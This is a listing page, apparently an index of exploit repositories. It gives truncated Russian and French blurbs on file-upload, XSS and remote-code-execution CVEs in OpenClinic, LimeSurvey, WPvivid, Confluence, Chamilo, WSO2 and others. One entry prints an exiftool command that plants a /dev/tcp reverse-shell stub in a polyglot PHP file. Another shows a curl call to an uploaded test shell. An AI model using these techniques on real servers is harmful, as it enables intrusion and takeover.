CVE-2026-25860

CVE-2026-25860 Отражённый XSS через обработчик загрузки DICOM-изображений в OpenClinic GA 5.247.01 Если вы хотите объединить этот XSS с RCE, прочитайте: https://www.partywave.site/show/research/cve-2026-25860-openclinic-ga-xss-to-rce Описание OpenClinic GA = v5.351.19 12.05.2026 содержит уязвимос...

CVE-2018-9206-jquery-file-upload

CVE-2018-9206 - лаборатория Blueimp jQuery-File-Upload Уязвимое Docker-окружение для CVE-2018-9206 - неограниченная загрузка файлов в Blueimp jQuery-File-Upload ' Execute it curl "http://localhost:8888/jQuery-File-Upload/server/php/files/test.php" Output: CVE-2018-9206-PWNED Или запустите...

cve-2023-50164-poc

PoC для CVE-2023-50164 Установка Для установки этого инструмента у вас должна быть установлена и настроена версия Go не ниже 1.20. $ go install github.com/dwisiswant0/cve-2023-50164-poc@latest В качестве альтернативы вы можете скомпилировать его самостоятельно: $ git clone...

bucky

Le projet est en pause temporaire. Bucky Bucky est un outil automatique conçu pour découvrir les mauvaises configurations des buckets S3. Bucky est composé de deux modules : le module complémentaire Firefox Bucky et le moteur backend Bucky. Le module complémentaire Bucky lit le code source des...

-Limesurvey-RCE-CVE-2021-44967

🚀 LimeSurvey RCE CVE-2021-44967 - Авторизованное удаленное выполнение кода Этот репозиторий содержит функциональный эксплойт для CVE-2021-44967 — уязвимости авторизованного удаленного выполнения кода в LimeSurvey. 🎯 Совместимость Протестировано и подтверждена работа на: LimeSurvey 5.2.x LimeSurve...

CVE-2026-1357

CVE-2026-1357 — WPvivid Backup & Migration RCE Неаутентифицированная произвольная загрузка файлов → удаленное выполнение кода Поле| Значение ---|--- CVE| CVE-2026-1357 CVSS| 9.8 критический Плагин| WPvivid Backup & Migration Затронуто| ≤ 0.9.123 Исправлено| 0.9.124 Обнаружил| Lucas Montes NiRoX P...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server Эта уязвимость может позволить атакующему получить полный контроль над уязвимым сервером Confluence, что даёт возможность украсть данные, изменить их или нарушить доступность сервера. Poc Создайте JavaScript-файл, назовите его exploit.js и...

CVE-2023-50564_Pluck-v4.7.18_PoC

CVE-2023-50564 PoC Этот репозиторий содержит доказательство концепции для уязвимости CVE-2023-50564 в Pluck CMS версии 4.7.18 Описание CVE-2023-50564 — это уязвимость, которая позволяет выполнять несанкционированную загрузку файлов в Pluck CMS версии 4.7.18. Данный эксплойт использует недостаток ...

SuiteCRM-RCE

CVE-2020-28328 SuiteCRM Exécution de code à distance via le paramètre de fichier journal et l'empoisonnement du fichier journal Aperçu J'ai récemment découvert deux vulnérabilités dans SuiteCRM qui fournissent une chaîne d'attaque permettant à un utilisateur à faible privilège d'exécuter du code...

CVE-2022-1329

CVE-2022-1329 Le plugin Elementor Website Builder pour WordPress est vulnérable à l'exécution non autorisée de plusieurs actions AJAX en raison d'un contrôle de capacité manquant dans le fichier /core/app/modules/onboarding/module.php, ce qui permet à des attaquants de modifier les données du sit...

CVE-2023-24610

CVE-2023-24610 Ceci est une preuve de concept pour CVE-2023-24610 Nous commençons par créer un fichier polyglotte en utilisant exiftool : exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php Nous changeons le fichier en png pour qu'il passe la vérification front-end Après cela...

commix

English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...

CVE-2025-6586

Download Plugin 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0: mtu 1500 qdisc...

Cgi-Exploit-Jp-Shell-Upload

Cgi-Exploit-Jp-Shell-Upload Python 2.7 Читай, братан: Никогда не открывай этот Python-инструмент в редакторе / не удаляй какой-либо код, потому что это вызовет ошибку. Если возникнет ошибка, пожалуйста, переустанови его с этого Github, спасибо Также используйте http:// перед примером сайта...

ChamiloLMS-CVE-2023-4220

ChamiloLMS CVE-2023-4220 Exploit Python-эксплойт для CVE-2023-4220 — неаутентифицированная уязвимость произвольной загрузки файлов, затрагивающая Chamilo LMS = 1.11.24. Уязвимость находится в компоненте BigUpload Chamilo. В уязвимых установках обработчик загрузки позволяет загружать PHP-файл без...

lazyweb

LazyWeb - Application Web Vulnérable LazyWeb est une application web de démonstration conçue pour présenter les vulnérabilités courantes côté serveur. Chaque vulnérabilité est catégorisée avec son niveau de difficulté respectif afin d'offrir une expérience d'apprentissage complète aux développeur...

CVE-2024-52302

CVE-2024-52302 : Vulnérabilité de téléchargement de fichier sans restriction dans Common-User-Management Présentation J'ai découvert une vulnérabilité de sécurité critique dans common-user-management , une application Spring Boot robuste proposant des services de gestion des utilisateurs conçus...

CVE-2025-5058

eMagicOne Store Manager для WooCommerce Warning: Trying to access array offset on false in /home/vagrant/research/Lab1/wp-content/plugins/store-manager-connector/classes/class-emosmcwoocommerceoverrider.php on line 324 Warning: Trying to access array offset on...

CVE-2020-17518

CVE-2020-17518 RESTful API Apache Flink: произвольная загрузка файлов через обход каталога Apache Flink — это фреймворк и распределённый движок обработки для вычислений с сохранением состояния над безграничными и ограниченными потоками данных, разработанный на Java и Scala. REST-обработчик,...

CVE-2022-29464

WSO2 RCE CVE-2022-29464 эксплойт и описание. Подробности CVE-2022-29464 — это серьезная уязвимость в WSO2. Уязвимость представляет собой несанкционированную, неограниченную загрузку произвольных файлов, что позволяет неавторизованным пользователям загружать вредоносные JSP-файлы на серверы WSO2 и...